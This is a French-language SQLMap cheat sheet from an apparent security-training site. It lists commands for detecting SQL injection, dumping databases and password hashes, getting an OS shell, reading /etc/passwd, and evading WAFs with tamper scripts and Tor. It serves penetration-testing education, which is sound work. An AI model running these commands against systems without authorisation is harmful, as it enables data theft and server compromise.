Aide-mémoire SQLMap

Référence complète pour l'automatisation des injections SQL

Détection • Énumération • Extraction de données • Accès shell

📅 Mise à jour : Décembre 2024⏱️ 20 min de lecture🔧 SQLMap 1.8+

📑 Navigation rapide

Utilisation de base Détection Énumération Extraction de données Accès OS Contournement WAF Optimisation

Qu'est-ce que SQLMap ?

SQLMap est un outil de test d'intrusion open-source qui automatise la détection et l'exploitation des failles d'injection SQL. Il prend en charge une large gamme de systèmes de gestion de bases de données, notamment MySQL, Oracle, PostgreSQL, Microsoft SQL Server, SQLite, et bien d'autres.

SQLMap est préinstallé sur Kali Linux. Code source disponible sur github.com/sqlmapproject/sqlmap.

📦 Installation

Kali Linux (Préinstallé)

sqlmap --version

Installation pip

pip install sqlmap

Depuis Git

git clone https://github.com/sqlmapproject/sqlmap.git
cd sqlmap && python sqlmap.py

Mise à jour

sqlmap --update

🎯 Utilisation de base

# Test de paramètre GET basique
sqlmap -u "http://<target>/page?id=1"

# Requête POST
sqlmap -u "http://<target>/login" --data="user=admin&pass=test"

# Tester un paramètre spécifique
sqlmap -u "http://<target>/page?id=1&name=test" -p id

# Depuis un fichier de requête Burp
sqlmap -r request.txt

# Test avec cookie
sqlmap -u "http://<target>/page?id=1" --cookie="PHPSESSID=abc123"

# En-têtes personnalisés
sqlmap -u "http://<target>/api/data" --headers="Authorization: Bearer token123"

💡 Astuce pro

Enregistrez les requêtes Burp Suite comme fichiers et utilisez -r request.txt — cela préserve automatiquement tous les en-têtes, cookies et données POST.

🔍 Options de détection

Option Description
--level=LEVEL Niveau de test (1-5, défaut 1). Plus élevé = plus de tests
--risk=RISK Niveau de risque (1-3, défaut 1). Plus élevé = tests plus risqués
-p PARAM Tester uniquement un paramètre spécifique
--dbms=DBMS Forcer un SGBD spécifique (mysql, mssql, oracle, etc.)
--technique=TECH Spécifier les techniques d'injection (BEUSTQ)
--string=STRING Chaîne qui apparaît sur condition vraie
--not-string=STRING Chaîne qui apparaît sur condition fausse

Techniques d'injection (--technique)

B Boolean-based blind (aveugle basé sur booléen)
E Error-based (basé sur les erreurs)
U UNION query-based (basé sur UNION)
S Stacked queries (requêtes empilées)
T Time-based blind (aveugle basé sur le temps)
Q Inline queries (requêtes en ligne)

📊 Énumération

Option Description
--banner Récupérer la bannière du SGBD
--current-user Utilisateur actuel de la base de données
--current-db Nom de la base de données actuelle
--is-dba Vérifier si l'utilisateur est DBA
--users Énumérer les utilisateurs de la base
--passwords Énumérer les hashes de mots de passe
--privileges Énumérer les privilèges utilisateur
--dbs Énumérer les bases de données
--tables Énumérer les tables
--columns Énumérer les colonnes
--schema Énumérer le schéma complet
--count Compter les entrées dans les tables

💾 Extraction de données

Option Description
-D DB Spécifier le nom de la base de données
-T TABLE Spécifier le nom de la table
-C COLUMNS Spécifier les colonnes (séparées par virgule)
--dump Extraire le contenu de la table
--dump-all Extraire toutes les bases de données
--start=N Commencer à partir de la ligne N
--stop=N Arrêter à la ligne N
--where=COND Clause WHERE pour l'extraction
--sql-query=QUERY Exécuter une requête SQL personnalisée
--sql-shell Shell SQL interactif

Flux d'extraction courant

# Étape 1 : Lister les bases de données
sqlmap -u "http://<target>/page?id=1" --dbs

# Étape 2 : Lister les tables dans la base
sqlmap -u "http://<target>/page?id=1" -D targetdb --tables

# Étape 3 : Lister les colonnes dans la table
sqlmap -u "http://<target>/page?id=1" -D targetdb -T users --columns

# Étape 4 : Extraire des colonnes spécifiques
sqlmap -u "http://<target>/page?id=1" -D targetdb -T users -C username,password --dump

# Extraire la table entière
sqlmap -u "http://<target>/page?id=1" -D targetdb -T users --dump

🖥️ Accès OS

Option Description
--os-shell Shell OS interactif
--os-cmd=CMD Exécuter une commande OS
--os-pwn Obtenir un shell OOB (Meterpreter/VNC)
--file-read=FILE Lire un fichier depuis le serveur
--file-write=LOCAL Écrire un fichier local sur le serveur
--file-dest=PATH Chemin de destination sur le serveur
--reg-read Lire une clé du registre Windows

⚠️ Prérequis pour le shell OS

L'accès OS nécessite : support des requêtes empilées, privilèges DBA, et permissions SGBD appropriées (privilège FILE pour MySQL, xp_cmdshell pour MSSQL).

📤 Options de requête

Option Description
-r FILE Charger la requête depuis un fichier
--data=DATA Chaîne de données POST
--cookie=COOKIE Valeur du cookie HTTP
--headers=HEADERS En-têtes supplémentaires (séparés par newline)
--user-agent=UA User-Agent personnalisé
--random-agent Utiliser un User-Agent aléatoire
--referer=REFERER En-tête Referer personnalisé
--proxy=PROXY Utiliser un proxy (http://host:port)
--tor Utiliser le réseau Tor
--method=METHOD Forcer la méthode HTTP (GET/POST/PUT)

🛡️ Contournement WAF/IDS

Option Description
--tamper=TAMPER Utiliser un/des script(s) tamper
--delay=SECONDS Délai entre les requêtes
--timeout=SECONDS Timeout de connexion
--retries=N Tentatives en cas de problème de connexion
--randomize=PARAM Randomiser la valeur du paramètre
--safe-url=URL URL à visiter entre les tests
--safe-freq=N Visiter l'URL safe toutes les N requêtes

Scripts tamper courants

# Contournement d'espaces
space2comment, space2plus, space2randomblank

# Manipulation de casse
randomcase, uppercase, lowercase

# Encodage
base64encode, charencode, charunicodeencode

# Injection de commentaires
between, equaltolike, commalessmid

# Spécifiques à la base de données
modsecurityzeroversioned (MySQL), sp_password (MSSQL)

# Tampers multiples
--tamper="space2comment,randomcase,charencode"

⚡ Optimisation

Option Description
--threads=N Threads concurrents max (défaut 1)
--batch Ne jamais demander d'entrée utilisateur (utiliser les défauts)
--flush-session Vider les fichiers de session pour la cible
--fresh-queries Ignorer les résultats de requêtes en cache
--null-connection Ne pas récupérer le corps de la page (plus rapide)
-o Activer les options d'optimisation
-v LEVEL Verbosité (0-6, défaut 1)

🔥 Scénarios d'attaque courants

# Scan automatique complet
sqlmap -u "http://<target>/page?id=1" --batch --dbs

# Scan agressif avec toutes les techniques
sqlmap -u "http://<target>/page?id=1" --level=5 --risk=3

# Tester un formulaire de login POST
sqlmap -u "http://<target>/login" --data="user=admin&pass=test" --dbs

# Test avec authentification
sqlmap -u "http://<target>/api/data?id=1" --cookie="session=abc123" --dbs

# Extraire et cracker les mots de passe
sqlmap -u "http://<target>/page?id=1" --passwords --batch

# Obtenir un shell OS
sqlmap -u "http://<target>/page?id=1" --os-shell

# Lire un fichier depuis le serveur
sqlmap -u "http://<target>/page?id=1" --file-read="/etc/passwd"

# Scan avec contournement WAF
sqlmap -u "http://<target>/page?id=1" --tamper="space2comment,randomcase" --random-agent

💉 Aide-mémoire SQLMap terminé !

Vous disposez maintenant d'une référence complète pour l'outil d'automatisation d'injection SQL le plus puissant. De la détection à l'extraction de données jusqu'à l'accès OS, ces commandes sont ce que les testeurs d'intrusion utilisent pour exploiter les vulnérabilités de bases de données.

Détection Énumération Extraction Contournement WAF Shell OS

Prêt à exploiter votre prochaine injection SQL !

Validation des Connaissances

Démontrez votre compréhension pour gagner des points et progresser

1
Question du Chapitre

Quel flag SQLMap est utilisé pour spécifier une URL cible ?

1
Lire
2
Valider
3
Terminer

Prêt à suivre votre progression?

Créez un compte gratuit pour sauvegarder votre progression, gagner des points et accéder à plus de 170 labs pratiques de cybersécurité.

Commencer à Apprendre Gratuitement
Rejoignez 5 000+ hackers qui apprennent la cybersécurité avec des labs pratiques. Créer un Compte